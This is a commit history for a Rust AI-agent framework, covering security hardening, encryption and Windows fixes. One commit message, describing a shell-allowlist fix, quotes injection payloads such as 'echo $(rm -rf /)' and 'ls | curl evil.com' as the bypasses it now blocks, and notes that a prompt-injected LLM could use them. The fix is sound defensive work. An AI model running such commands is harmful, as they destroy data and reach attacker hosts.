Commit graph

29 commits

Author SHA1 Message Date
fettpl
f7ae04e64e Merge remote-tracking branch 'origin/main' into fix/windows-key-permissions-warning
# Conflicts:
#	src/security/secrets.rs
2026-02-15 02:16:00 +01:00
argenis de la rosa
a68004184c fix(secrets): harden windows icacls username edge cases 2026-02-14 19:25:30 -05:00
Argenis
b931aeb56c
Merge pull request #69 from fettpl/fix/llm-error-leakage
fix: stop leaking LLM error details to clients
2026-02-14 18:34:30 -05:00
fettpl
6fd4b2d750 fix: handle empty USERNAME and add debug log for icacls success
- Check for empty USERNAME env var before running icacls to avoid a
  doomed invocation with ":F" grant argument
- Log a clear warning when USERNAME is empty
- Add tracing::debug on successful permission set

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-15 00:29:22 +01:00
fettpl
2942e5607d fix: log warning when Windows key file permissions fail to set
Replace silently discarded icacls result with proper error handling
that logs a tracing::warn! on failure. Previously, if icacls failed
(binary not found, permission denied), the key file would remain
world-readable on Windows with no indication of the problem.

Closes #56

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-14 23:59:36 +01:00
fettpl
25e5f670bb fix: stop leaking LLM error details to HTTP clients and WhatsApp users
Log full error details server-side with tracing::error! and return
generic messages to clients. Previously, the raw anyhow error chain
(which could include provider URLs, HTTP status codes, or partial
request bodies) was forwarded to end users.

Closes #59

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-14 23:53:39 +01:00
argenis de la rosa
3219387641 fix: add clippy allow for manual_is_multiple_of lint (stable Rust compat) 2026-02-14 16:47:27 -05:00
argenis de la rosa
fc033783b5 fix: replace unstable is_multiple_of with modulo operator (fixes #42) 2026-02-14 16:39:24 -05:00
argenis de la rosa
09d3140127 feat: add Docker env var support for PORT, HOST, and TEMPERATURE
- Add port and host fields to GatewayConfig with defaults (3000, 127.0.0.1)
- Enhanced apply_env_overrides() to support:
  - ZEROCLAW_GATEWAY_PORT or PORT - Gateway server port
  - ZEROCLAW_GATEWAY_HOST or HOST - Gateway bind address
  - ZEROCLAW_TEMPERATURE - Default temperature (0.0-2.0)
- Add comprehensive tests for all new env var overrides
- Fix clippy warnings (is_multiple_of, too_many_lines)

Closes #45
2026-02-14 16:19:26 -05:00
Argenis
365692853c
Merge pull request #44 from sahajre/patch-1
Use of stable lib feature instead of experimental
2026-02-14 15:58:53 -05:00
argenis de la rosa
153d6ff149 fix: resolve clippy warnings and formatting issues for CI
- Fix doc_markdown warnings in WhatsApp channel
- Fix needless_pass_by_value in cron, health, migration, service modules
- Fix match_same_arms in migration.rs
- Fix too_many_lines in skills/mod.rs
- Fix manual_let_else in tools/file_write.rs
- Apply cargo fmt formatting fixes

All 435 tests pass, clippy clean.
2026-02-14 15:36:19 -05:00
Rahul Madhav Upakare
29437f21e4
Use of stable lib feature instead of experimental
The is_multiple_of is a new, experimental feature  introduced to the Rust standard library, but it is not yet stabilized. It requires the nightly compiler to work. Therefore, replacing it with the equivalent modulo operator (%) from stable release.
2026-02-15 01:41:47 +05:30
argenis de la rosa
27b7df53da feat: add Windows support for skills symlinks and secret key permissions
- Add Windows symlink support in skills/mod.rs with fallback chain:
  1. symlink_dir (requires admin/developer mode)
  2. mklink /J junction (works without admin)
  3. copy_dir_recursive fallback
- Add Windows file permissions in security/secrets.rs using icacls
- Add copy_dir_recursive helper function for non-Unix platforms

Fixes #28
2026-02-14 14:07:41 -05:00
argenis de la rosa
ef4444ba43 fix: resolve build errors and add comprehensive symlink tests
- Fixed E0425 error in src/skills/mod.rs by moving println! inside #[cfg(unix)] block where 'dest' variable is in scope
- Added missing 'identity' field to Config struct initializations in src/onboard/wizard.rs
- Fixed import paths for AIEOS identity functions in src/channels/mod.rs
- Added comprehensive symlink edge case tests in src/skills/symlink_tests.rs
- All 840 tests passing, 0 clippy warnings

Resolves issue #28: skills symlink functionality now works correctly on Unix platforms with proper error handling on non-Unix platforms
2026-02-14 13:37:27 -05:00
argenis de la rosa
ec2d5cc93d feat: enhance agent personality, tool guidance, and memory hygiene
- Expand communication style presets (professional, expressive, custom)
- Enrich SOUL.md with human-like tone and emoji-awareness guidance
- Add crash recovery and sub-task scoping guidance to AGENTS.md scaffold
- Add 'Use when / Don't use when' guidance to TOOLS.md and runtime prompts
- Implement memory hygiene system with configurable archiving and retention
- Add MemoryConfig options: hygiene_enabled, archive_after_days, purge_after_days, conversation_retention_days
- Archive old daily memory and session files to archive subdirectories
- Purge old archives and prune stale SQLite conversation rows
- Add comprehensive tests for new features
2026-02-14 11:28:39 -05:00
Argenis
a41b8f103c
Merge pull request #23 from vrescobar/security/fix-shell-metachar-injection
fix: validate all segments of shell commands against allowlist
2026-02-14 09:07:21 -05:00
Argenis
674eea0dfa
Merge pull request #22 from vrescobar/security/fix-xor-cipher-encryption
fix: replace XOR cipher with ChaCha20-Poly1305 AEAD
2026-02-14 09:00:14 -05:00
Víctor R. Escobar
e6a4166edb fix: validate all segments of shell commands against allowlist
The previous is_command_allowed() only checked the first word of the
command string, but the full string was passed to `sh -c`, which
interprets all shell metacharacters. An attacker (or a prompt-injected
LLM) could bypass the allowlist:

  echo $(rm -rf /)      — subshell hides arbitrary command
  echo `curl evil.com`  — backtick subshell
  ls | curl evil.com    — pipe to unlisted command
  ls && rm -rf /        — chain via &&
  ls\nrm -rf /          — newline injection

Now is_command_allowed():
- Blocks subshell operators (backtick, $(, ${)
- Blocks output redirections (>)
- Splits on |, &&, ||, ;, newlines and validates EACH sub-command
- Skips leading env var assignments (FOO=bar cmd)

Legitimate piped commands like `ls | grep foo` still work since both
sides are in the allowlist.

CWE-78 / HIGH-1

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-14 13:55:09 +01:00
Víctor R. Escobar
1c8fe79238 fix: address PR review — rejection sampling and robust test
- Use rejection sampling to eliminate modulo bias in generate_code().
  Values above the largest multiple of 1_000_000 in u32 are discarded
  and re-drawn (~0.02% rejection rate).
- Make generate_code_is_not_deterministic test robust against the
  1-in-10^6 collision chance by trying 10 pairs instead of one.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-14 13:48:36 +01:00
Víctor R. Escobar
152a996b66 fix: replace XOR cipher with ChaCha20-Poly1305 AEAD for secret encryption
The previous secret store used a repeating-key XOR cipher which is
cryptographically broken:
- Deterministic (no nonce) — identical plaintexts produce identical
  ciphertexts
- No authentication — tampered ciphertext decrypts silently
- Vulnerable to known-plaintext attacks (e.g., "sk-" prefix reveals
  key bytes)

Replace with ChaCha20-Poly1305 authenticated encryption:
- Random 12-byte nonce per encryption (non-deterministic)
- Poly1305 authentication tag detects tampering
- Uses the same 32-byte key file (no migration needed for keys)

New ciphertext format is `enc2:<hex(nonce || ciphertext || tag)>`.
Legacy `enc:` values (XOR) are still decryptable for backward
compatibility during migration.

Adds chacha20poly1305 0.10 crate (pure Rust, no C dependencies).

New tests: tamper detection, wrong-key rejection, nonce uniqueness,
truncation handling, legacy XOR backward compatibility.

CWE-327 / CRIT-1

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-14 13:43:02 +01:00
Víctor R. Escobar
15a58eb7da fix: use CSPRNG for pairing code generation
Replace DefaultHasher + SystemTime + process::id() with UUID v4
(backed by getrandom/urandom CSPRNG) for pairing code generation.

The previous implementation used predictable entropy sources
(system time to ~1s precision and process ID) with a non-cryptographic
hash (SipHash), making the 6-digit code brute-forceable.

The new implementation extracts 4 random bytes from a UUID v4
(which uses the OS CSPRNG) and derives the 6-digit code from those.
No new dependencies added — reuses existing uuid crate.

Adds a test verifying non-deterministic output.

Ref: CWE-330 (Use of Insufficiently Random Values)

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-14 13:29:58 +01:00
argenis de la rosa
f8befafe4d feat: add Composio tool provider + encrypted secret store + wizard integration
- src/tools/composio.rs: ComposioTool implementing Tool trait
  - list/execute/connect actions via Composio API (1000+ OAuth apps)
  - 60s timeout, proper error handling, JSON schema for LLM
  - 12 tests covering schema, validation, serde, error paths

- src/security/secrets.rs: SecretStore for encrypted credential storage
  - XOR cipher with random 32-byte key stored in ~/.zeroclaw/.secret_key
  - enc: prefix for encrypted values, plaintext passthrough (backward compat)
  - Key file created with 0600 permissions (Unix)
  - 16 tests: roundtrip, unicode, long secrets, corrupt hex, permissions

- src/config/schema.rs: ComposioConfig + SecretsConfig structs
  - Composio: enabled (default: false), api_key, entity_id
  - Secrets: encrypt (default: true)
  - Both with serde(default) for backward compatibility
  - 8 new config tests

- src/onboard/wizard.rs: new Step 5 'Tool Mode & Security'
  - Sovereign (local only) vs Composio (managed OAuth) selection
  - Encrypted secret storage toggle (default: on)
  - 7-step wizard (was 6)

- src/tools/mod.rs: all_tools() now accepts optional composio_key
- src/agent/loop_.rs: wires Composio key from config into tool registry
- README.md: Composio integration + encrypted secrets documentation

1017 tests, 0 clippy warnings, cargo fmt clean.
2026-02-14 02:41:29 -05:00
argenis de la rosa
976c5bbf3c hardening: fix 7 production weaknesses found in codebase scan
Scan findings and fixes:

1. Gateway buffer overflow (8KB → 64KB)
   - Fixed: Increased request buffer from 8,192 to 65,536 bytes
   - Large POST bodies (long prompts) were silently truncated

2. Gateway slow-loris attack (no read timeout → 30s)
   - Fixed: tokio::time::timeout(30s) on stream.read()
   - Malicious clients could hold connections indefinitely

3. Webhook secret timing attack (== → constant_time_eq)
   - Fixed: Now uses constant_time_eq() for secret comparison
   - Prevents timing side-channel on webhook authentication

4. Pairing brute force (no limit → 5 attempts + 5min lockout)
   - Fixed: PairingGuard tracks failed attempts with lockout
   - Returns 429 Too Many Requests with retry_after seconds

5. Shell tool hang (no timeout → 60s kill)
   - Fixed: tokio::time::timeout(60s) on Command::output()
   - Commands that hang are killed and return error

6. Shell tool OOM (unbounded output → 1MB cap)
   - Fixed: stdout/stderr truncated at 1MB with warning
   - Prevents memory exhaustion from verbose commands

7. Provider HTTP timeout (none → 120s request + 10s connect)
   - Fixed: All 5 providers (OpenRouter, Anthropic, OpenAI,
     Ollama, Compatible) now have reqwest timeouts
   - Ollama gets 300s (local models are slower)

949 tests passing, 0 clippy warnings, cargo fmt clean
2026-02-14 01:47:08 -05:00
argenis de la rosa
b2aff60722 security: pass all 4 checklist items — gateway not public, pairing required, filesystem scoped, tunnel access
Security checklist from @anshnanda / @ledger_eth:
   Gateway not public — default bind 127.0.0.1, refuses 0.0.0.0 without
     tunnel or explicit allow_public_bind=true in config
   Pairing required — one-time 6-digit code printed on startup, exchanged
     for bearer token via POST /pair, enforced on all /webhook requests
   Filesystem scoped (no /) — workspace_only=true by default, null byte
     injection blocked, 14 system dirs + 4 sensitive dotfiles in forbidden
     list, is_resolved_path_allowed() for symlink escape prevention
   Access via Tailscale/SSH tunnel — tunnel system integrated, gateway
     refuses public bind without active tunnel

New files:
  src/security/pairing.rs — PairingGuard with OTP generation, constant-time
    code comparison, bearer token issuance, token persistence

Changed files:
  src/config/schema.rs — GatewayConfig (require_pairing, allow_public_bind,
    paired_tokens), expanded AutonomyConfig forbidden_paths
  src/config/mod.rs — export GatewayConfig
  src/gateway/mod.rs — public bind guard, pairing enforcement on /webhook,
    /pair endpoint, /health no longer leaks version/memory info
  src/security/policy.rs — null byte blocking, is_resolved_path_allowed(),
    expanded forbidden_paths (14 system dirs + 4 dotfiles)
  src/security/mod.rs — export pairing module
  src/onboard/wizard.rs — wire gateway config

935 tests passing (up from 905), 0 clippy warnings, cargo fmt clean
2026-02-14 00:39:51 -05:00
argenis de la rosa
4fceba0740 fix: CI failures — update deny.toml for cargo-deny v2, fix clippy derivable_impls
- deny.toml: remove deprecated fields (vulnerability, notice, unlicensed, copyleft)
  that were removed in cargo-deny v2. Add CDLA-Permissive-2.0 for webpki-roots.
- security/policy.rs: replace manual Default impl for AutonomyLevel with
  #[derive(Default)] + #[default] attribute (clippy::derivable_impls on Rust 1.93)

657 tests passing, 0 clippy warnings (Rust 1.93.1), cargo-deny clean
2026-02-13 17:09:22 -05:00
argenis de la rosa
bc31e4389b style: cargo fmt — fix all formatting for CI
Ran cargo fmt across entire codebase to pass CI's cargo fmt --check.
No logic changes, only whitespace/formatting.
2026-02-13 16:03:50 -05:00
argenis de la rosa
a5887ad2dc docs+tests: architecture diagram, security docs, 75 new edge-case tests
README:
- Add ASCII architecture flow diagram showing all layers
- Add Security Architecture section (Layer 1: Channel Auth,
  Layer 2: Rate Limiting, Layer 3: Tool Sandbox)
- Update test count to 629

New edge-case tests (75 new):
- SecurityPolicy: command injection (semicolon, backtick, dollar-paren,
  env prefix, newline), path traversal (encoded dots, double-dot in
  filename, null byte, symlink, tilde-ssh, /var/run), rate limiter
  boundaries (exactly-at, zero, high), autonomy+command combos,
  from_config fresh tracker
- Discord: exact match not substring, empty user ID, wildcard+specific,
  case sensitivity, base64 edge cases
- Slack: exact match, empty user ID, case sensitivity, wildcard combo
- Telegram: exact match, empty string, case sensitivity, wildcard combo
- Gateway: first-match-wins, empty value, colon in value, different
  headers, empty request, newline-only request
- Config schema: backward compat (Discord/Slack without allowed_users),
  TOML roundtrip, webhook secret presence/absence

629 tests passing, 0 clippy warnings
2026-02-13 16:00:15 -05:00
argenis de la rosa
542bb80743 security: harden architecture against Moltbot security model
- Discord: add allowed_users field + sender validation in listen()
- Slack: add allowed_users field + sender validation in listen()
- Webhook: add X-Webhook-Secret header auth (401 on mismatch)
- SecurityPolicy: add ActionTracker with sliding-window rate limiting
  - record_action() enforces max_actions_per_hour
  - is_rate_limited() checks without recording
- Gateway: print auth status on startup (ENABLED/DISABLED)
- 22 new tests (Discord/Slack allowlists, gateway header extraction,
  rate limiter: starts at zero, records, allows within limit,
  blocks over limit, clone independence)
- 554 tests passing, 0 clippy warnings
2026-02-13 15:31:21 -05:00
argenis de la rosa
05cb353f7f feat: initial release — ZeroClaw v0.1.0
- 22 AI providers (OpenRouter, Anthropic, OpenAI, Mistral, etc.)
- 7 channels (CLI, Telegram, Discord, Slack, iMessage, Matrix, Webhook)
- 5-step onboarding wizard with Project Context personalization
- OpenClaw-aligned system prompt (SOUL.md, IDENTITY.md, USER.md, AGENTS.md, etc.)
- SQLite memory backend with auto-save
- Skills system with on-demand loading
- Security: autonomy levels, command allowlists, cost limits
- 532 tests passing, 0 clippy warnings
2026-02-13 12:19:14 -05:00